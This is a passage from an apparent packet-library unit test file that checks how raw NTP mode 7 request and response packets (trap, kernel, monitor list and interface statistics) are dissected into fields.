b\"\\x17\\x80\\x03\\x16\\x00\\x01\\x00\\x18\\xc0\\xa8zf\\x00\\x00\\x00\\x00X\\x88P\\xb1\\xff\\x7f\\x00\\x008\\x88P\\xb1\\xff\\x7f\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xdb9\\xef!\\x99\\x88\\xa3\\xf1\\x00\\x00\\x00\\x01\\xb1\\xff\\xe8\\xefB=\\xa9\\x96\\xdc\\xe3\\x13'\\xb3\\xfc\\xc2\\xf5\"\np = NTP(s)\nassert isinstance(p, NTPPrivate)\nassert p.response == 0\nassert p.more == 0\nassert p.version == 2\nassert p.mode == 7\nassert p.request_code == 22\nassert p.nb_items == 1\nassert p.data_item_size == 24\nassert hasattr(p, 'req_data')\nassert isinstance(p.req_data[0], NTPConfUnpeer)\nassert p.req_data[0].peeraddr == \"192.168.122.102\"\nassert p.req_data[0].v6_flag == 0\n\n\n= NTP Private (mode 7) - REQ_AUTHINFO (1) - response\ns = b'\\x97\\x00\\x03\\x1c\\x00\\x01\\x00$\\x00\\x00\\x01\\xdd\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\n\\x00\\x00\\x00`\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\t\\x00\\x00\\x00/\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01'\np = NTP(s)\nassert isinstance(p, NTPPrivate)\nassert p.response == 1\nassert p.more == 0\nassert p.version == 2\nassert p.mode == 7\nassert p.auth == 0\nassert p.request_code == 28\nassert p.err == 0\nassert p.nb_items == 1\nassert p.data_item_size == 36\nassert hasattr(p, 'data')\nassert isinstance(p.data[0], NTPInfoAuth)\nassert p.data[0].timereset == 477\nassert p.data[0].numkeys == 2\nassert p.data[0].numfreekeys == 10\nassert p.data[0].keylookups == 96\nassert p.data[0].keynotfound == 0\nassert p.data[0].encryptions == 9\nassert p.data[0].decryptions == 47\nassert p.data[0].expired == 0\nassert p.data[0].keyuncached == 1\n\n\n= NTP Private (mode 7) - REQ_ADD_TRAP (1) - request\ns = b'\\x17\\x80\\x03\\x1e\\x00\\x01\\x000\\x00\\x00\\x00\\x00\\xc0\\x00\\x02\\x03H\\x0f\\x00\\x00\\x00\\x00\\x00\\x00\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xdb9\\xedB\\xdd\\xda\\x7f\\x97\\x00\\x00\\x00\\x01b$\\xb8IM.\\xa61\\xd0\\x85I\\x8f\\xa7\\'\\x89\\x92'\np = NTP(s)\nassert isinstance(p, NTPPrivate)\nassert p.response == 0\nassert p.more == 0\nassert p.version == 2\nassert p.mode == 7\nassert p.auth == 1\nassert p.request_code == 30\nassert p.err == 0\nassert p.nb_items == 1\nassert hasattr(p, 'req_data')\nassert isinstance(p.req_data[0], NTPConfTrap)\nassert p.req_data[0].trap_address == '192.0.2.3'\nassert hasattr(p, 'authenticator')\nassert p.authenticator.key_id == 1\nassert bytes_hex(p.authenticator.dgst) == b'6224b8494d2ea631d085498fa7278992'\n\n\n= NTP Private (mode 7) - REQ_ADD_TRAP (2) - response\ns = b'\\x97\\x00\\x03\\x1e\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\np = NTP(s)\nassert isinstance(p, NTPPrivate)\nassert p.response == 1\nassert p.more == 0\nassert p.version == 2\nassert p.mode == 7\nassert p.auth == 0\nassert p.request_code == 30\nassert p.err == 0\nassert p.nb_items == 0\nassert p.data_item_size == 0\n\n\n= NTP Private (mode 7) - REQ_CLR_TRAP (1) - request\ns = b'\\x17\\x80\\x03\\x1f\\x00\\x01\\x000\\x00\\x00\\x00\\x00\\xc0\\x00\\x02\\x03H\\x0f\\x00\\x00\\x00\\x00\\x00\\x00\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xdb9\\xedb\\xb3\\x18\\x1c\\x00\\x00\\x00\\x00\\x01\\xa5_V\\x9e\\xb8qD\\x92\\x1b\\x1c>Z\\xad]*\\x89'\np = NTP(s)\nassert isinstance(p, NTPPrivate)\nassert p.response == 0\nassert p.more == 0\nassert p.version == 2\nassert p.mode == 7\nassert p.auth == 1\nassert p.request_code == 31\nassert p.err == 0\nassert p.nb_items == 1\nassert hasattr(p, 'req_data')\nassert isinstance(p.req_data[0], NTPConfTrap)\nassert p.req_data[0].trap_address == '192.0.2.3'\nassert hasattr(p, 'authenticator')\nassert p.authenticator.key_id == 1\nassert bytes_hex(p.authenticator.dgst) == b'a55f569eb87144921b1c3e5aad5d2a89'\n\n\n= NTP Private (mode 7) - REQ_CLR_TRAP (2) - response\ns = b'\\x97\\x00\\x03\\x1f\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\np = NTP(s)\nassert isinstance(p, NTPPrivate)\nassert p.response == 1\nassert p.more == 0\nassert p.version == 2\nassert p.mode == 7\nassert p.auth == 0\nassert p.request_code == 31\nassert p.err == 0\nassert p.nb_items == 0\nassert p.data_item_size == 0\n\n\n= NTP Private (mode 7) - REQ_GET_CTLSTATS - response\ns = b'\\x97\\x00\\x03\"\\x00\\x01\\x00<\\x00\\x00\\x00\\xed\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\np = NTP(s)\nassert isinstance(p, NTPPrivate)\nassert p.response == 1\nassert p.more == 0\nassert p.version == 2\nassert p.mode == 7\nassert p.auth == 0\nassert p.request_code == 34\nassert p.nb_items == 1\nassert p.data_item_size == 60\nassert type(p.data[0]) == NTPInfoControl\nassert p.data[0].ctltimereset == 237\n\n\n= NTP Private (mode 7) - REQ_GET_KERNEL (1) - request\ns = b'\\x17\\x00\\x03&\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\np = NTP(s)\nassert isinstance(p, NTPPrivate)\nassert p.response == 0\nassert p.more == 0\nassert p.version == 2\nassert p.mode == 7\nassert p.auth == 0\nassert p.request_code == 38\nassert p.nb_items == 0\nassert p.data_item_size == 0\n\n\n= NTP Private (mode 7) - REQ_GET_KERNEL (2) - response\ns = b'\\x97\\x00\\x03&\\x00\\x01\\x00<\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xf4$\\x00\\x00\\xf4$\\x00 A\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x01\\x01\\xf4\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\np = NTP(s)\nassert isinstance(p, NTPPrivate)\nassert p.response == 1\nassert p.more == 0\nassert p.version == 2\nassert p.mode == 7\nassert p.auth == 0\nassert p.request_code == 38\nassert p.nb_items == 1\nassert p.data_item_size == 60\nassert isinstance(p.data[0], NTPInfoKernel)\nassert p.data[0].maxerror == 16000000\nassert p.data[0].esterror == 16000000\nassert p.data[0].status == 8257\nassert p.data[0].constant == 3\nassert p.data[0].precision == 1\nassert p.data[0].tolerance == 32768000\n\n\n\n= NTP Private (mode 7) - REQ_MON_GETLIST_1 (1) - request\ns = b'\\x17\\x00\\x03*\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\np = NTP(s)\nassert isinstance(p, NTPPrivate)\nassert p.response == 0\nassert p.more == 0\nassert p.version == 2\nassert p.mode == 7\nassert p.request_code == 42\nassert p.nb_items == 0\nassert p.data_item_size == 0\n\n\n= NTP Private (mode 7) - REQ_MON_GETLIST_1 (2) - response\ns = b'\\xd7\\x00\\x03*\\x00\\x06\\x00H\\x00\\x00\\x00;\\x00\\x00\\x00;\\x00\\x00\\x01\\xd0\\x00\\x00\\x00\\x01\\x94mw\\xe9\\xc0\\xa8zg\\x00\\x00\\x00\\x01\\x00{\\x03\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00;\\x00\\x00\\x00;\\x00\\x00\\x01\\xd0\\x00\\x00\\x00\\x01\\x13\\xb6\\xa9J\\xc0\\xa8zg\\x00\\x00\\x00\\x01\\x00{\\x03\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00;\\x00\\x00\\x00;\\x00\\x00\\x01\\xd0\\x00\\x00\\x00\\x01\\xbb]\\x81\\xea\\xc0\\xa8zg\\x00\\x00\\x00\\x01\\x00{\\x03\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00;\\x00\\x00\\x00;\\x00\\x00\\x01\\xd0\\x00\\x00\\x00\\x01\\xfc\\xbf\\xd5a\\xc0\\xa8zg\\x00\\x00\\x00\\x01\\x00{\\x03\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00;\\x00\\x00\\x00;\\x00\\x00\\x01\\xd0\\x00\\x00\\x00\\x01\\xbe\\x10x\\xa8\\xc0\\xa8zg\\x00\\x00\\x00\\x01\\x00{\\x03\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00;\\x00\\x00\\x00;\\x00\\x00\\x01\\xd0\\x00\\x00\\x00\\x01\\xde[ng\\xc0\\xa8zg\\x00\\x00\\x00\\x01\\x00{\\x03\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\np = NTP(s)\nassert isinstance(p, NTPPrivate)\nassert p.response == 1\nassert p.more == 1\nassert p.version == 2\nassert p.mode == 7\nassert p.request_code == 42\nassert p.nb_items == 6\nassert p.data_item_size == 72\n\n\n= NTP Private (mode 7) - REQ_IF_STATS (1) - request\ns = b'\\x17\\x80\\x03,\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xdb9\\xeb\\xdd\\x8cH\\xefe\\x00\\x00\\x00\\x01\\x8b\\xfb\\x90u\\xa8ad\\xe8\\x87\\xca\\xbf\\x96\\xd2\\x9d\\xddI'\np = NTP(s)\nassert isinstance(p, NTPPrivate)\nassert p.response == 0\nassert p.more == 0\nassert p.version == 2\nassert p.mode == 7\nassert p.auth == 1\nassert p.request_code == 44\nassert p.nb_items == 0\nassert p.data_item_size == 0\nassert hasattr(p, 'authenticator')\nassert p.authenticator.key_id == 1\nassert bytes_hex(p.authenticator.dgst) == b'8bfb9075a86164e887cabf96d29ddd49'\n\n\n= NTP Private (mode 7) - REQ_IF_STATS (2) - response\ns = b\"\\xd7\\x00\\x03,\\x00\\x03\\x00\\x88\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x01lo\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x05\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00.\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x07\\x00\\x00\\x00\\x00\\x00\\n\\x00\\x01\\x00\\x00\\x00\\x00\\xfe\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\n\\x00'\\xff\\xfe\\xe3\\x81r\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01eth0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x11\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00.\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x06\\x00\\x00\\x00\\x00\\x00\\n\\x00\\x01\\x00\\x00\\x00\\x00\\xfe\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\n\\x00'\\xff\\xfe\\xa0\\x1d\\xd0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01eth1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x11\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00.\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x05\\x00\\x00\\x00\\x00\\x00\\n\\x00\\x01\\x00\\x00\\x00\\x00\"\np = NTP(s)\nassert isinstance(p, NTPPrivate)\nassert p.response == 1\nassert p.more == 1\nassert p.version == 2\nassert p.mode == 7\nassert p.auth == 0\nassert p.request_code == 44\nassert p.err == 0\nassert p.nb_items == 3\nassert p.data_item_size == 136\nassert isinstance(p.data[0], NTPInfoIfStatsIPv6)\nassert p.data[0].unaddr == \"::1\"\nassert p.data[0].unmask == \"ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff\"\nassert p.data[0].ifname.startswith(b\"lo\")\n\n\n= NTP Private (mode 7) - REQ_IF_STATS (3) - response\ns = b'\\xd7\\x01\\x03,\\x00\\x03\\x00\\x88\\xc0\\xa8ze\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xc0\\xa8z\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00eth1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x19\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x07\\x00\\x00\\x00\\x11\\x00\\x00\\x00\\x00\\x00\\x00\\x00.\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x02\\x00\\x02\\x00\\x01\\x00\\x00\\x00\\x00\\n\\x00\\x02\\x0f\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\n\\x00\\x02\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00eth0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x19\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00.\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x01\\x00\\x00\\x00\\x00\\x7f\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00lo\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x05\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00.\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x01\\x00\\x00\\x00\\x00'\np = NTP(s)\nassert isinstance(p, NTPPrivate)\nassert p.response == 1\nassert p.more == 1\nassert p.version == 2\nassert p.mode == 7\nassert p.auth == 0\nassert p.request_code == 44\nassert p.err == 0\nassert p.nb_items == 3\nassert p.data_item_size == 136\nassert isinstance(p.data[0], NTPInfoIfStatsIPv4)\nassert p.data[0].unaddr == \"192.168.122.101\"\nassert p.data[0].unmask == \"255.255.255.0\"\nassert p.data[0].ifname.startswith(b\"eth1\")\n\n\n= NTP Private (mode 7) - REQ_IF_RELOAD (1) - request\ns = b'\\x17\\x80\\x03-\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xdb9\\xed\\xa3\\xdc\\x7f\\xc6\\x11\\x00\\x00\\x00\\x01\\xfb>\\x96*\\xe7O\\xf7\\x8feh\\xd4\\x07L\\xc0\\x08\\xcb'\np = NTP(s)\nassert isinstance(p, NTPPrivate)\nassert p.response == 0\nassert p.more == 0\nassert p.version == 2\nassert p.mode == 7\nassert p.auth == 1\nassert p.request_code == 45\nassert p.nb_items == 0\nassert p.data_item_size == 0\nassert hasattr(p, 'authenticator')\nassert p.authenticator.key_id == 1\nassert bytes_hex(p.authenticator.dgst) == b'fb3e962ae74ff78f6568d4074cc008cb'\n\n\n= NTP Private (mode 7) - REQ_IF_RELOAD (2) - 